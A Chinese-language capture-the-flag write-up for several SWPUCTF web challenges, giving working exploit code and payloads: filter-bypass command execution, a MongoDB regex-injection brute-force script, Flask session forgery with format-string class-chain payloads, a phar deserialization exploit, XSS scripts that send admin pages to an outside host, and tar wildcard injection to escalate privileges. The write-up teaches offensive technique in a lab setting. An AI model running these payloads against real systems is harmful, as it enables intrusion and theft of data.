SWPUCTF wp

用优惠码 买个 X ?

source.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^d+.d+.d+.d+$/im",$ip)){
if (!preg_match("/?|flag|}|cat|echo|*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

mt_rand()函数伪随机

php_mt_seed来爆破种子:http://www.openwall.com/php_mt_seed/

然后用这个种子生成24为的验证码,提交

接下来就是RCE绕过

m修饰符可以利用%0a绕过

然后bypass:

  1. tac /$(printf "ZmxhZwo="|base64 -d)
  2. c\at /fl\ag
  3. c'a't /f'la'g
  4. c'a't f[l][a]g

injection ???

info.php是一个phpinfo页面,显示php开启了mongo扩展

mongodb注入

http://123.206.213.66:45678/check.php?username[$ne]=xxx&password[$regex]=^xxx&vertify=xxxx

官方wp脚本,使用pytesseract库识别验证码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import pytesseract
from PIL import Image
import requests
import os
import string

password = ''
string_list = string.ascii_letters + string.digits

s = requests.Session()

for i in range(32):
for j in string_list:
res = s.get('http://123.206.213.66:45678/vertify.php')
image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg')
with open(image_name, 'wb') as file:
file.write(res.content)
image = Image.open(image_name)
code = pytesseract.image_to_string(image)
res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code)
while ('CAPTCHA' in res.content):
res = s.get('http://123.206.213.66:45678/vertify.php')
image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg')
with open(image_name, 'wb') as file:
file.write(res.content)
image = Image.open(image_name)
code = pytesseract.image_to_string(image)
res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code)
print password+j,res.content
if 'Nice!But it is not the real passwd' in res.content:
password += j
print password
break
elif 'username or password incorrect' in res.content:
continue
print passwd

皇家线上赌场

/proc/self/cwd目录指向了当前进程的工作路径

构造访问/static?file=/proc/self/cwd/app/views.py得到源码

init.py

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db

def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0

@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

/static?file=/proc/self/cwd/app/init.py中发现secret_key

伪造session 登录

接下来是格式化字符串攻击

1
2
3
4
5
6
7
8
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

在上面的代码里还有一句g.flag = 'swpuctf{xxxxxxxxxxxxxx}',这里的field是可控的,输出的是g.u.field,所以思路是构造python继承链去读取g.flag

提示user有save方法

payload:

  1. field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
  2. field=save.__globals__[db].__init__.__globals__.current_app.route.__globals__[g].flag
  3. field=query.get_or_404.__globals__[current_app].route.__globals__[g].flag
  4. field=class__._base_.query_class.get_or_404.__globals[current_app].jinja_env.globals[g].flag

SimplePHP

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';

$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn't exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(E_ERROR | E_PARSE);
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= addslashes($_value);
}
}
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jepg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invild file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

phar反序列化

  1. 存在文件操作函数,例如file_exits()file_get_contents()等等,且其中的参数可控
  2. 在类中存在__destruct方法
  3. 可上传phar构造文件

以上三点都满足:

  1. file.php中存在file_exits(),且$file可控
  2. class.php中存在__destruct()方法
  3. function.php中存在文件上传

要读取flag.php的内容,找到一个file_get_contents函数

file_get_contents->file_get->get(__get的重写)

__get方法是在访问一个类不存在的变量或者是不可访问的变量时会触发。下一步就是要想办法触发__get

Show类的__toString魔术方法中,如果$this->str['str']为Test类的话,那么就会访问不存在的source变量,这里就可以调用__get方法

而在C1e4r类的__destruct中echo了一个变量,__toSting方法就可以使用

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params = array('source' => 'var/www/html/f1ag.php');
}

@unlink("c1e4r.phar");
$phar = new Phar("c1e4r.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$p1 = new C1e4r();
$p2 = new Show();
$p2->str = array('str'=>new Test());
$p1->str = $p2;

$phar->setMetadata($p1);
var_dump($phar->getMetadata());
$phar->addFromString("test.txt", "c1e4r");
//签名自动计算
$phar->stopBuffering();
?>

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

访问file.php?file=phar://upload/filename,base64解码后获得flag

有趣的邮箱注册

check.php

1
2
3
4
5
6
7
8
9
10
11
<?php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>

利用了FILTER_VALIDATE_EMAIL过滤器来过滤注册的邮箱,是不安全的

邮箱地址分为local partdomain part两部分,local part中可以利用双引号来包含特殊字符。如"<svg/onload=alert(1)>"@example.com是合法的

构造xss

"<script/src=//vps_ip/payload.js></script>"@example.com

构造读源码脚本payload.js

js1:

1
2
3
4
5
6
7
8
9
10
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","admin.php",true);
xmlhttp.send();

js2:

1
2
3
4
5
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/admin.php', false);
a.send(null);
b = a.responseText;
location.href = 'http://t15em7.ceye.io/d' + escape(b);

看到·admin/a0a.php·下面有个命令执行,于是弹shell

发现没有读取flag文件权限

有个backup.php,是root权限运行的

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
echo "上传目录下的所有文件备份成功!<br />";
echo "备份文件名: z.tar.gz";
}else{
echo "未上传文件,无法备份!";
}
?>

就是执行了tar -czf z.tar.gz *,这里*代表当前目录下的所有文件名,是可控的

上传这三个文件

1
2
3
exp.sh(内容为'cat /flag | base64')
--checkpoint-action=exec=sh exp.sh
--checkpoint=1

在网站备份功能得到flagswpuctf{xss_!_tar_exec_instr3st1ng}